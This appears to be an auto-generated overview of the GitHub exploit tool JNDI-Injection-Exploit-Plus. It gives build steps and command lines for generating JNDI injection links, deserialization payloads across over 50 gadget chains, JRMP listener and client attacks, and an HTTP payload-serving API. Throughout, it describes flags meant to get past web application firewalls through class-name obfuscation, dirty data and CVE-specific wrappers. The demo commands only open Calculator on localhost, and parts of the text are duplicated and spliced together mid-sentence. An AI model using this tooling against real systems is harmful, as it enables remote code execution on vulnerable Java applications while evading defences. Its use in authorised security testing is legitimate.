Overview of JNDI-Injection-Exploit-Plus
masterysoserial by generating deserialization payloads in Base64 or HEX formats and includes features to bypass WAFs via class name hiding (Fusion) and data wrapping.repository·master·Indexed 21 days ago
https://github.com/cckuailong/jndi-injection-exploit-plusA security testing tool for generating JNDI injection links and deserialization payloads. It includes built-in RMI, LDAP, and HTTP servers, supports over 50 gadget chains, and provides features for WAF bypass via Fusion class name hiding and data wrapping (e.g., Xstream, Apereo, JbossRemoting, Gzip). The tool also supports JRMP exploits through a dedicated Listener and Client.
ysoserial by generating deserialization payloads in Base64 or HEX formats and includes features to bypass WAFs via class name hiding (Fusion) and data wrapping.The tool supports several wrappers to wrap deserialization data, which can help in testing specific vulnerability scenarios or bypassing security controls.
Supported Wrappers:
Xstream: For CVE-2021-39149.Apereo: For Apereo 4.1 Deserialization RCE.JbossRemoting: For Jboss Remoting Port Unserialization.Gzip: For interfaces using Gzip.Dirty: Inserts dirty data to attempt WAF bypass.# Example using Xstream wrapper
$ java -jar JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar -C "open -a Calculator" -D Jdk7u21 -W XstreamThe Fusion feature allows you to hide class names to help bypass Web Application Firewalls (WAF).
$ java -jar JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar -C "open -a Calculator" -D Jdk7u21 -FTo generate JNDI links for testing JNDI injection vulnerabilities, run the JAR file with the -C flag to specify the command and the -A flag to specify your server address.
Important Notes:
1099 (RMI), 1389 (LDAP), and 8180 (HTTP) are available on your server.Runtime.getRuntime().exec(). If using bash commands like bash -c ..., you must wrap them in double quotes.open /Applications/Calculator.app if -C is not provided.-A is not provided.$ java -jar JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar [-C] [command] [-A] [address]The tool provides specific capabilities for JRMP (Java Remote Method Protocol) exploits, including a Listener and a Client.
JRMPListener:
Used to listen for connections.
java -cp JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar exploit.JRMPListener <port> <Gadget> <command>
JRMPClient:
Used to trigger a connection to a remote JRMP server.
java -jar JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar -C "<ip>:<port>" -D "JRMPClient" -O base64
# JRMPListener example
java -cp JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar exploit.JRMPListener <port> CommonsCollections1 calc
# JRMPClient example
java -jar JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar -C "<ip>:<port>" -D "JRMPClient" -O base64JNDI-Injection-Exploit-Plus can be used to generate JNDI links and start backend services to exploit JNDI injection vulnerabilities. It supports three main types of exploitation:
To use the tool for JNDI injection, specify the command to execute and the host IP address.
Command Syntax:
java -jar JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar [-C] [command] [-A] [address]Arguments:
-C: The command to execute (Optional, default is open /Applications/Calculator.app).-A: The IP address of the host running this tool (Optional, defaults to the first network interface address).Example:
To execute a specific calculator path on IP 127.0.0.1:
java -jar JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar -C "/System/Applications/Calculator.app/Contents/MacOS/Calculator" -A "127.0.0.1"Triggering the injection (Java code example):
class Test{
public static void main(String[] args) throws Exception{
InitialContext ctx = new InitialContext();
ctx.lookup("rmi://127.0.0.1:1099/remoteExploit8");
}
}java -jar JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar -C "/System/Applications/Calculator.app/Contents/MacOS/Calculator" -A "127.0.0.1"The tool functions as a deserialization payload generator containing over 50 Gadget chains (more than ysoserial).
Command Syntax:
java -jar JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar [-C] [command] [-D] [Gadget] [-O] [base64/hex]Arguments:
-C: The command to execute (Optional, default is open /Applications/Calculator.app).-D: The name of the deserialization gadget chain to generate (refer to the GitHub repository list for names).-O: Output format, either base64 or hex (Optional, default is hex).Example (Standard payload):
To generate a Spring2 gadget payload in base64 format:
java -jar JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar -C "/System/Applications/Calculator.app/Contents/MacOS/Calculator" -D "Spring2" -O base64java -jar JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar -C "/System/Applications/Calculator.app/Contents/MacOS/Calculator" -D "Spring2" -O base64You can obtain the tool using one of two methods:
Download the latest .jar file directly from the Releases page.
Requires Java 1.8+ and Maven 3.x+.
git clone https://github.com/cckuailong/JNDI-Injection-Exploit-Plus.gitcd JNDI-Injection-Exploit-Plusmvn clean package -DskipTestsTroubleshooting: If you encounter the error java.rmi.xxx does not exist, ensure you have set your JAVA_HOME environment variable correctly.
$ git clone https://github.com/cckuailong/JNDI-Injection-Exploit-Plus.git
$ cd JNDI-Injection-Exploit-Plus
$ mvn clean package -DskipTestsTo bypass WAFs or target specific vulnerabilities, you can use wrappers or obfuscation.
Wrappers: Wrappers wrap the payload in a format compatible with specific vulnerable components:
Xstream: For CVE-2021-39149Apereo: For Apereo 4.1 deserialization vulnerabilitiesJbossRemoting: For Jboss Remoting service deserializationGzip: For Yonyou (用友) components using GzipDirty: Inserts large amounts of 'dirty' data to bypass WAF detectionObfuscation:
Use the -F flag to obfuscate class names to bypass WAF detection.
Example (Using Xstream wrapper):
java -jar JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar -C "open -a Calculator" -D Jdk7u21 -W XstreamExample (Using Obfuscation):
java -jar JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar -C "open -a Calculator" -D Jdk7u21 -Fjava -jar JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar -C "open -a Calculator" -D Jdk7u21 -W XstreamThe tool supports JRMP (Java Remote Method Protocol) exploitation.
JRMPListener: Use this to listen for connections. Syntax:
java -cp JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar exploit.JRMPListener <port> CommonsCollections1 calcJRMPClient: Use this to generate a client payload that connects to a target. Syntax:
java -jar JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar -C "<ip>:<port>" -D "JRMPClient" -O base64java -jar JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar -C "<ip>:<port>" -D "JRMPClient" -O base64To generate a JNDI link that, when looked up by a vulnerable application, executes a specific command, use the following command-line arguments:
-C <command>: The command to be executed (e.g., a path to an executable).-A <address>: The IP address or hostname to bind to.Start the tool to generate a link (e.g., an RMI link):
java -jar JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar -C "/System/Applications/Calculator.app/Contents/MacOS/Calculator" -A "127.0.0.1"Inject the generated link (e.g., rmi://127.0.0.1:1099/remoteExploit8) into a vulnerable application. For example, using a Java InitialContext lookup:
class Test{
public static void main(String[] args) throws Exception{
InitialContext ctx = new InitialContext();
ctx.lookup("rmi://127.0.0.1:1099/remoteExploit8");
}
}When the vulnerable code runs the lookup, the specified command will execute, and logs will appear in the tool's shell.
$ java -jar JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar -C "/System/Applications/Calculator.app/Contents/MacOS/Calculator" -A "127.0.0.1"The tool can run as a web service that provides deserialization gadgets via HTTP POST requests.
Start the service:
java -jar JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jarAPI Endpoint:
POST /deserial/{Gadget}
Parameters:
cmd: The command to execute.wrapper: (Optional) The wrapper to use (e.g., Xstream, Gzip).output: (Optional) The output format (base64 or hex).# Example POST request structure
POST /deserial/{Gadget}
cmd={command}&wrapper={wrapper}&output={base64/hex}